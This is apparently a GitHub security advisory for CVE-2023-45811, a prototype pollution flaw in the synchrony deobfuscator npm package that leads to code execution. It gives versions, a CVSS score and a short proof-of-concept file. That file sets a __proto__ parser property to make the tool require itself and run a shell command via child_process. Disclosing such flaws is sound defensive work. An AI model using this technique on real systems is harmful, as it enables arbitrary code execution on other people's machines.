Skip to content

Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution

High severity GitHub Reviewed Published Oct 17, 2023 in relative/synchrony • Updated Nov 12, 2023

Package

npm deobfuscator (npm)

Affected versions

>= 2.0.1, < 2.4.4

Patched versions

2.4.4

Description

Impact

A __proto__ pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.

Summary

A __proto__ pollution vulnerability exists in the LiteralMap transformer allowing crafted input to modify properties in the Object prototype.

When executing in Node.js, due to use of the prettier module, defining a parser property on __proto__ with a path to a JS module on disk causes a require of the value which can lead to arbitrary code execution.

Patch

A fix has been released in deobfuscator@2.4.4.

Mitigation

Proof of Concept

Craft a malicious input file named poc.js as follows:

// Malicious code to be run after this file is imported. Logs the result of shell command "dir" to the console.
console.log(require('child_process').execSync('dir').toString())

// Synchrony exploit PoC
{
  var __proto__ = { parser: 'poc.js' }
}

Then, run synchrony poc.js from the same directory as the malicious file.

Credits

This vulnerability was found and disclosed by William Khem-Marquez.

References

@relative relative published to relative/synchrony Oct 17, 2023
Published by the National Vulnerability Database Oct 17, 2023
Published to the GitHub Advisory Database Oct 18, 2023
Reviewed Oct 18, 2023
Last updated Nov 12, 2023

Severity

High
7.8
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2023-45811

GHSA ID

GHSA-jg82-xh3w-rhxx

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.